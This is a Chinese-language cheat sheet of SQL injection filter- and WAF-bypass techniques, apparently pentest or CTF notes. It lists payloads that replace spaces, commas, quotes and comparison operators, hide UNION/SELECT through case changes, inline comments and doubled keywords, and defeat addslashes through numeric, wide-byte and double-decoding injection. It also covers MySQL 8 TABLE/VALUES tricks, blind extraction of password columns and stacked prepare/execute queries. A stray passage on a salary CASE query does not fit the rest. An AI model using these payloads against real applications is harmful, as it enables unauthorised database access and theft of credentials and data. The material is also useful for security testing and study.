SQL注入-Bypass
空格
1.注释符 /**/
SELECT/**/name/**/FROM/**/table
2.url编码
%a0 发出去就是空格的意思,但是需要在burp中抓包后修改
3.浮点数
select * from users where id=8E0union select 1,2,3
等价于
select * from users where id=8.0 select 1,2,3
4.TAB
5.两个空格代替一个空格
6.括号
?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23
引号
16进制
select column_name from information_schema.tables where table_name=0x7573657273
逗号
1.from
对于substr()和mid()这两个方法可以使用from to的方式来解决
select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
2.join
union select 1,2 #等价于
union select * from (select 1)a join (select 2)b
3.like
select ascii(mid(user(),1,1))=80 #等价于
select user() like 'r%'
4.offset
select * from news limit 0,1 #等价于
select * from news limit 1 offset 0
注释符
手动闭合引号,不使用注释符
id=1' union select 1,2,3||'1
id=1' union select 1,2,'3
比较符<>
1.greatest()、least():(前者返回最大值,后者返回最小值)
select * from users where id=1 and ascii(substr(database(),0,1))>64 #等价于
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
2.between and
between a and b:返回a,b之间的数据,不包含b。
等号=
like
rlike
regexp
<
>
or
and
xor
not
使用符号代替
and=`&&` or=`||` xor=`|` not=`!`
过滤union
,select
,where
等
/*! */
是有条件的注释形式,可以在其中包含 MySQL 特定的指令,以及版本号和条件语句等。如果指令在当前 MySQL 版本下可用,那么它将被执行,否则将被忽略。
1.注释符
//、--、/**/、#、--+、---、;、%00、--a
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from user
2.大小写
id=-1'UnIoN/**/SeLeCT
3.内联注释
id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
4.双写 # 删除的waf下
id=-1'UNIunionONSeLselectECT1,2,3–-
5.+号
or ‘swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ‘+’ …..’ )
6.语法新特性
MySQL 8.0.19版本后可以不用select
子查询绕过union
假设有一个被过滤了"UNION"的查询:
SELECT id, name FROM table1 WHERE id = 1 UNION SELECT id, name FROM table2 WHERE id = 2;
您可以尝试使用子查询:
SELECT id, name FROM table1 WHERE id = 1 OR id = (SELECT id FROM table2 WHERE id = 2);
CONCAT
SELECT CONCAT('I', IF(1, CONCAT('sle', 'ep'(5)), 1))
if
假设我们有一个名为employees
的表,其中包含雇员的信息,包括employee_id
、first_name
、last_name
、salary
和department_id
字段。我们想根据雇员的薪水情况添加一个名为salary_category
的新列,将薪水划分为"高"、“中"和"低"三个类别。
我们可以使用CASE语句来实现这个逻辑,如下所示:
SELECT
employee_id,
first_name,
last_name,
salary,
department_id,
CASE
WHEN salary > 5000 THEN '高'
WHEN salary > 3000 THEN '中'
ELSE '低'
END AS salary_category
FROM
employees;
绕过addslashes()函数
addslashes()函数的作用是在单引号(’)、双引号(")、反斜杠()和NULL前加上反斜杠,这样可以绕过大部分的恶意SQL注入。但是在某些情况下,该函数会失灵。
- 第一种情况是数字型注入
数字型参数往往不需要用单引号(’)闭合,比如select productname from product where productID=1 and 1=1.因为SQL语句没有单引号,故攻击者只需在后面加上注入语句,addslashes()函数对这些语句是不起作用的。
防御的方法是用==intval()函数==进行强制转换。
- 第二种情况是宽字节注入
简单的说有两种情况可能会造成宽字节注入,首先是设置数据库的字符集为gbk,或者是在使用iconv,mb_convert_encoding转换字符编码函数导致宽字节注入,具体的去看常用姿势->宽字节
- 第三种情况是可控做了addslashes之后,可控变量进入了各种函数比如,base64_decode,urldecode,json_encode,stripslashes
$userid = urldecode($userid) //注入语句进行两次编码,首先通过addslashes()过滤,然后urlencode解码,双重编码来绕过addslashes
$userid = rawurldecode($userid)
$userid = base64_decode($userid) //首先通过addslashes()过滤,然后urlencode解码
$userid = json_encode($userid) //该函数把转换为\,两个反斜杠抵消。
-
第四种是字符截断绕过addslashes
可以参考这个CTF题目,是具体业务代码产生的漏洞
public function sanitizeInput($input, $length = 20) { $input = addslashes($input); if (strlen($input) > $length) { $input = substr($input, 0, $length); } return $input; } }
Mysql8
MySQL 8.0.19版本后可以不用select
TABLE 语句
可以直接列出表的全部内容
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]
如 select * from user 就可以用 table user 替代来进行绕过
VALUES 语句
可以列出一行的值
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]
VALUES ROW(1,2,3), ROW(4,5,6);
其他
编码
如URLEncode
编码,ASCII
,HEX
,unicode
编码绕过
or 1=1即
%6f%72%20%31%3d%31,而
Test也可以为
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
等价函数
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
多语句
或者可以使用多语句的方式执行
set @a:=0x73656c656374202a2066726f6d2074657374;
prepare s from @a;
execute s;
也可以
handler user open;
handler user read first;